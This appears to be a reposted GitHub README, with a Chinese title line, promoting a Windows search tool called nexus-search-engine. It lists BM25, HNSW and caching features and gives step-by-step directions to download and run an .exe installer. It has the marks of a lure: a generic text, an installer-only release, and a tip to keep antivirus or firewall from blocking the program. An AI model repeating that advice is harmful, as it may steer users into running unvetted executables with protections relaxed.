nexus-search-engine:面向 Windows 的 BM25 + 向量混合搜索工具
winfieldcareful844/nexus-search-engine
nexus-search-engine 是一款面向 Windows 10 及以上系统的本地搜索工具,结合 BM25 排序、HNSW 向量搜索、LSM 存储、Bloom Filters 与 W-TinyLFU 缓存来提升检索速度与准确度。
🔍 nexus-search-engine - Fast, Accurate Search Made Easy
📦 What is nexus-search-engine?
nexus-search-engine is a search tool designed to help you find information quickly and accurately. It works by using smart techniques to search through large amounts of data. These techniques include BM25 ranking, vector search, and efficient storage methods.
This tool runs on Windows and does not require advanced computer knowledge. You can install it and start searching your files or data faster than regular search tools.
🖥 System Requirements
Before downloading, make sure your computer meets these basic needs:
- Operating System: Windows 10 or newer
- Processor: Intel or AMD 1.5 GHz or faster
- Memory: At least 4 GB of RAM
- Storage: Minimum 500 MB free space
- Internet: Needed to download the application
🚀 Getting Started — How to Download and Run on Windows
-
Visit the Download Page
Click this link to open the release page:
Download nexus-search-engine Releases -
Choose the Latest Version
Look for the most recent release, usually at the top of the page. It will be marked with a version number likev1.0.0or newer. -
Find the Windows Installer
On that release page, scroll down to the "Assets" section.
Find a file that ends with.exe(example:nexus-search-engine-setup.exe). This is the Windows installer. -
Download the Installer
Click on the.exefile to download it to your computer. -
Run the Installer
Once downloaded, double-click the.exefile.
Follow the setup instructions shown on the screen.
Usually, you just need to click “Next” a few times until the installation finishes. -
Launch nexus-search-engine
After installation, open the program from your desktop or start menu by clicking its icon.
🔧 How to Use nexus-search-engine
Once the application is installed and running, you can start using the search engine by following these steps:
-
Add Data to Search
Choose the folders or files you want the tool to include in its search. You can add multiple folders if needed. -
Build the Search Index
The software will organize the data for fast searching. This process might take some time depending on the amount of data. -
Search Your Data
Type your search words in the search box and press Enter.
The tool uses smart methods to show the most relevant results on top. -
Review Results
Click a search result to open the file or location. -
Advanced Search Options
Use filters like date range, file type, or keyword matching to narrow down results.
⚙ Features Explored
-
BM25 Ranking
This method ranks search results by relevance, putting the best matches first. -
HNSW Vector Search
It allows searching by similarity, useful for finding related items in large data collections. -
LSM Storage
Stores data efficiently so the tool runs fast but uses less disk space. -
Bloom Filters
Quickly checks if an item might be present in your data without scanning every file. -
W-TinyLFU Caching
Speeds up repeated searches by remembering recent results.
📌 Troubleshooting Tips
- If the installer does not start, check that your Windows user account has permission to install software.
- Ensure your antivirus or firewall is not blocking the application.
- If the search is slow, try limiting the number of folders or files being indexed.
- Restart the application if it stops responding.
🆘 Getting Help
For support, visit the repository’s Issues page on GitHub:
https://github.com/winfieldcareful844/nexus-search-engine/issues
You can submit bugs or ask questions there. The developers and community review these messages regularly.
🌐 Useful Links
- Repository: https://github.com/winfieldcareful844/nexus-search-engine
- Releases Page: https://github.com/winfieldcareful844/nexus-search-engine/releases
📥 Download and Install 👇
Download the latest release from this page:
Download nexus-search-engine Releases
Follow the steps above to install and start searching your files quickly and efficiently.
来源:GitHub · github.com